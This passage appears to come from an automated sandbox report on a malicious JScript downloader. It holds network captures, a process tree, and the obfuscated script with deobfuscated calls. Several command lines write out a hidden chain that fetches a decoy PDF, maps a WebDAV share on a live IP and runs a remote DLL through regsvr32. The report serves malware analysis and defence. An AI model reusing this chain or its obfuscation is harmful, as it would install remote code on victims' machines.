Jan 10, 2025 18:26:37.173947096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173949003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.173983097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174020052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.174020052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174057007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174093008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174112082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.174128056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174165010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174170971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.174202919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.174252987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.290154934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.445609093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.844012976 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.848974943 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.849080086 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.859040976 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.864018917 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:38.665632010 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:38.706739902 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:39.287622929 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:26:45.409379005 CET	64279	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:26:45.409379005 CET	192.168.2.4	1.1.1.1	0x672b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:26:45.417180061 CET	1.1.1.1	192.168.2.4	0x672b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:26:46.130930901 CET	1.1.1.1	192.168.2.4	0x732f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4348	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:26:35.608609915 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:26:36.393719912 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:26:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:26:36.393748999 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:26:36.393773079 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:26:36.393785000 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:26:36.393798113 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:26:36.393809080 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 18:26:36.393820047 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 18:26:36.393834114 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 18:26:36.393848896 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 18:26:36.393863916 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 10, 2025 18:26:36.398638010 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7072	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:26:37.859040976 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:26:38.665632010 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:26:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:26:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js"
Imagebase:	0x7ff7f39b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:26:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Imagebase:	0x7ff7d8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:26:32
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:26:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:26:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:26:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:26:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65eac0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:26:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:26:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:26:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1660,i,12714881071314078498,14039083725192833191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tdcxrqwy() {	tdcxrqwy() ➔ undefined
1	oeoyvgrb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qeshi = this[kxmdklyt + uotxr + yzzzmc + mryyjhwi + adqtpzal + hlbhvts + ctzkrhaa + erfvutacq] ( this[zexvny + eypklythq + qqujjg + yzzzmc + whuexemo + kxmdklyt + erfvutacq][klghesda + yzzzmc + adqtpzal + uotxr + erfvutacq + adqtpzal + mqrbkm + ecpgucfw + ugfljtaoi + adqtpzal + qqujjg + erfvutacq] ( zexvny + eypklythq + qqujjg + yzzzmc + whuexemo + kxmdklyt + erfvutacq + gseqtbqu + eypklythq + todov + adqtpzal + yyxhmgc + yyxhmgc ) [hcwlcjjd + adqtpzal + zfdkwmy + hcwlcjjd + adqtpzal + uotxr + fsdfzlo] ( fdmvunjxy + tgxdgxpyu + tssucw + vwaso + zkyqlkbp + klghesda + twvopjh + hcwlcjjd + hcwlcjjd + tssucw + zitypdrj + imygd + zkyqlkbp + twvopjh + eypklythq + tssucw + hcwlcjjd + kpvzqym + klghesda + tyrdpency + ctzkrhaa + erfvutacq + yzzzmc + tyrdpency + yyxhmgc + pyjndfe + ajqgksbs + uotxr + ctzkrhaa + adqtpzal + yyxhmgc + kpvzqym + hlbhvts + ctzkrhaa + erfvutacq + adqtpzal + yzzzmc + ctzkrhaa + uotxr + erfvutacq + whuexemo + tyrdpency + ctzkrhaa + uotxr + yyxhmgc + kpvzqym + hpogevm + tyrdpency + qqujjg + uotxr + yyxhmgc + adqtpzal ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hxdph = 0 ; hxdph < oeoyvgrb[yyxhmgc + adqtpzal + ctzkrhaa + zfdkwmy + erfvutacq + todov] ; ++ hxdph )
4	{
5	if ( qeshi == oeoyvgrb[hxdph] )
6	{
7	qeshi = true;
8	break ;
9	}
10	}
11	if ( qeshi !== true )
12	this[zexvny + eypklythq + qqujjg + yzzzmc + whuexemo + kxmdklyt + erfvutacq][bqccmcf + ibstrvtei + whuexemo + erfvutacq] ( );
13	this[zexvny + eypklythq + qqujjg + yzzzmc + whuexemo + kxmdklyt + erfvutacq][klghesda + yzzzmc + adqtpzal + uotxr + erfvutacq + adqtpzal + mqrbkm + ecpgucfw + ugfljtaoi + adqtpzal + qqujjg + erfvutacq] ( zexvny + eypklythq + qqujjg + yzzzmc + whuexemo + kxmdklyt + erfvutacq + gseqtbqu + eypklythq + todov + adqtpzal + yyxhmgc + yyxhmgc ) [yzzzmc + ibstrvtei + ctzkrhaa] ( qqujjg + mqone + fsdfzlo + pyjndfe + crgjfkexg + qqujjg + pyjndfe + kxmdklyt + tyrdpency + qnzyuid + adqtpzal + yzzzmc + mryyjhwi + todov + adqtpzal + yyxhmgc + yyxhmgc + gseqtbqu + adqtpzal + harebb + adqtpzal + pyjndfe + miobemi + klghesda + tyrdpency + mqone + mqone + uotxr + ctzkrhaa + fsdfzlo + pyjndfe + eqadqj + hlbhvts + ctzkrhaa + oroccuhwf + tyrdpency + xemdnihww + adqtpzal + miobemi + zexvny + adqtpzal + ecpgucfw + hcwlcjjd + adqtpzal + deilrqwt + ibstrvtei + adqtpzal + mryyjhwi + erfvutacq + pyjndfe + miobemi + mqrbkm + ibstrvtei + erfvutacq + iqsnnqw + whuexemo + yyxhmgc + adqtpzal + pyjndfe + shplmvad + erfvutacq + adqtpzal + mqone + kxmdklyt + shplmvad + kpvzqym + whuexemo + ctzkrhaa + oroccuhwf + tyrdpency + whuexemo + qqujjg + adqtpzal + gseqtbqu + kxmdklyt + fsdfzlo + szysrh + pyjndfe + todov + erfvutacq + erfvutacq + kxmdklyt + fawru + crgjfkexg + crgjfkexg + yekau + szwgdil + cxrxd + gseqtbqu + yekau + xqxumw + cxrxd + gseqtbqu + yekau + gseqtbqu + kfcfj + skehghiiy + kfpudtg + crgjfkexg + whuexemo + ctzkrhaa + oroccuhwf + tyrdpency + whuexemo + qqujjg + adqtpzal + gseqtbqu + kxmdklyt + todov + kxmdklyt + eqadqj + ssiqram + ssiqram + mryyjhwi + erfvutacq + uotxr + yzzzmc + erfvutacq + pyjndfe + shplmvad + erfvutacq + adqtpzal + mqone + kxmdklyt + shplmvad + kpvzqym + whuexemo + ctzkrhaa + oroccuhwf + tyrdpency + whuexemo + qqujjg + adqtpzal + gseqtbqu + kxmdklyt + fsdfzlo + szysrh + ssiqram + ssiqram + qqujjg + mqone + fsdfzlo + pyjndfe + crgjfkexg + qqujjg + pyjndfe + ctzkrhaa + adqtpzal + erfvutacq + pyjndfe + ibstrvtei + mryyjhwi + adqtpzal + pyjndfe + kpvzqym + kpvzqym + yekau + szwgdil + cxrxd + gseqtbqu + yekau + xqxumw + cxrxd + gseqtbqu + yekau + gseqtbqu + kfcfj + skehghiiy + kfpudtg + xrnxu + nxmskjbrw + nxmskjbrw + nxmskjbrw + nxmskjbrw + kpvzqym + fsdfzlo + uotxr + oroccuhwf + qnzyuid + qnzyuid + qnzyuid + yzzzmc + tyrdpency + tyrdpency + erfvutacq + kpvzqym + ssiqram + ssiqram + qqujjg + mqone + fsdfzlo + pyjndfe + crgjfkexg + qqujjg + pyjndfe + yzzzmc + adqtpzal + zfdkwmy + mryyjhwi + oroccuhwf + yzzzmc + cxrxd + kfcfj + pyjndfe + crgjfkexg + mryyjhwi + pyjndfe + kpvzqym + kpvzqym + yekau + szwgdil + cxrxd + gseqtbqu + yekau + xqxumw + cxrxd + gseqtbqu + yekau + gseqtbqu + kfcfj + skehghiiy + kfpudtg + xrnxu + nxmskjbrw + nxmskjbrw + nxmskjbrw + nxmskjbrw + kpvzqym + fsdfzlo + uotxr + oroccuhwf + qnzyuid + qnzyuid + qnzyuid + yzzzmc + tyrdpency + tyrdpency + erfvutacq + kpvzqym + yekau + yekau + skehghiiy + yekau + pqlflec + yekau + pqlflec + xqxumw + cxrxd + nxmskjbrw + pqlflec + szwgdil + gcsuskck + yekau + gseqtbqu + fsdfzlo + yyxhmgc + yyxhmgc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll",0,false) ➔ 0
14	}
15	xqxumw = "K";
16	xqxumw = "l";
17	xqxumw = "k";
18	xqxumw = "r";
19	xqxumw = "X";
20	xqxumw = "U";
21	xqxumw = "e";
22	xqxumw = "n";
23	xqxumw = "m";
24	xqxumw = "Z";
25	xqxumw = "v";
26	xqxumw = "X";
27	xqxumw = "V";
28	xqxumw = "J";
29	xqxumw = "m";
30	xqxumw = "m";
31	xqxumw = "V";
32	xqxumw = "W";
33	xqxumw = "r";
34	xqxumw = "n";
35	xqxumw = "D";
36	xqxumw = "g";
37	xqxumw = "Q";
38	xqxumw = "b";
39	xqxumw = "R";
40	xqxumw = "4";
41	tyrdpency = "j";
42	tyrdpency = "k";
43	tyrdpency = "r";
44	tyrdpency = "k";
45	tyrdpency = "L";
46	tyrdpency = "N";
47	tyrdpency = "i";
48	tyrdpency = "P";
49	tyrdpency = "a";
50	tyrdpency = "Y";
51	tyrdpency = "S";
52	tyrdpency = "m";
53	tyrdpency = "u";
54	tyrdpency = "o";
55	qnzyuid = "b";
56	qnzyuid = "B";
57	qnzyuid = "D";
58	qnzyuid = "f";
59	qnzyuid = "U";
60	qnzyuid = "c";
61	qnzyuid = "Y";
62	qnzyuid = "Z";
63	qnzyuid = "p";
64	qnzyuid = "F";
65	qnzyuid = "T";
66	qnzyuid = "b";
67	qnzyuid = "A";
68	qnzyuid = "U";
69	qnzyuid = "F";
70	qnzyuid = "V";
71	qnzyuid = "b";
72	qnzyuid = "h";
73	qnzyuid = "B";
74	qnzyuid = "e";
75	qnzyuid = "K";
76	qnzyuid = "W";
77	qnzyuid = "f";
